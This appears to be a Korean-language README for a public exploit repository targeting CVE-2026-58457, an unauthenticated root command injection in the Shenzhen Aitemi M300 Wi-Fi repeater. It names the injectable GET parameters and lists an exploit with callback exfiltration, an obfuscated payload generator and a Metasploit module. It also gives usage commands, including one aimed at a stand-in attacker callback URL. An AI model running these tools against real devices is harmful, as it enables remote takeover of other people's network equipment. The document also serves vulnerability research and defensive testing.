CVE-2026-58457 - Shenzhen Aitemi M300 Wi-Fi 리피터에서 인증되지 않은 OS 명령 주입

[!WARNING] 이 코드는 교육 및 연구 목적으로만 있는 그대로 제공됩니다. 이 PoC를 프로덕션 시스템, 공유 환경 또는 승인되지 않은 대상에서 사용하지 마십시오.

• 이 코드를 실행하거나 호스팅하면 오용 시 안티바이러스 탐지, 보안 모니터링 경고 또는 법적 결과를 초래할 수 있습니다.
• 저자 및 저장소 관리자는 이 코드로 인한 손해, 오용 또는 불법 활동에 대해 책임을 지지 않습니다.
• 격리된 실험실 환경에서 적절한 승인을 받은 후에만 사용하십시오. 방어 연구, 취약점 분석 및 블루팀 테스트 전용입니다.

취약점 요약

smacfilter_conf 핸들러에 인증되지 않은 OS 명령 주입 취약점이 존재합니다. name, enable, mac GET 매개변수는 살균되지 않은 상태로 sprintf() 호출에 전달되어 root로 실행되는 UCI 명령을 구성합니다.

• 심각도: 위험 (CVSS 9.8)
• 영향: 인증 없이 원격으로 root 명령 실행

포함된 도구

• poc.py - HTTPS 지원, 재시도, 시간 초과 및 콜백 유출이 포함된 완전한 기능의 익스플로잇.
• val.py - 안전하고 수동적인 취약점 검증기 (무해한 id 명령 사용).
• gen.py - 여러 난독화 기술을 사용한 고급 페이로드 생성기.
• MITIGATIONS.md - 권장 방어 조치.
• Metasploit 모듈 - exploit/ 디렉터리에서 사용 가능.

설치

pip install requests

빠른 사용법

1. 검증 (안전)

python3 val.py --target 192.168.1.100

2. 익스플로잇 (승인된 테스트 전용)

python3 poc.py --target 192.168.1.100 --cmd "id"
python3 poc.py --target 192.168.1.100 --cmd "id" --callback http://your-ip:8080/

3. 난독화된 페이로드 생성

python3 gen.py -c "id" -n 10

Metasploit

1. 모듈 이동

cp ./aitemi_m300_smacfilter_rce.rb ~/.msf4/modules/exploits/linux/http/
# 또는 기본 MSF 경로: /usr/share/metasploit-framework/modules/exploits/linux/http/

2. 전체 다시 로드

msfconsole -q -x "reload_all"

참고 자료

• CVE-2026-58457
• VulnCheck 권고
• GitHub 공개

Star 및 기여를 환영합니다 - 특히 우회 개선 또는 추가 펌웨어 변형.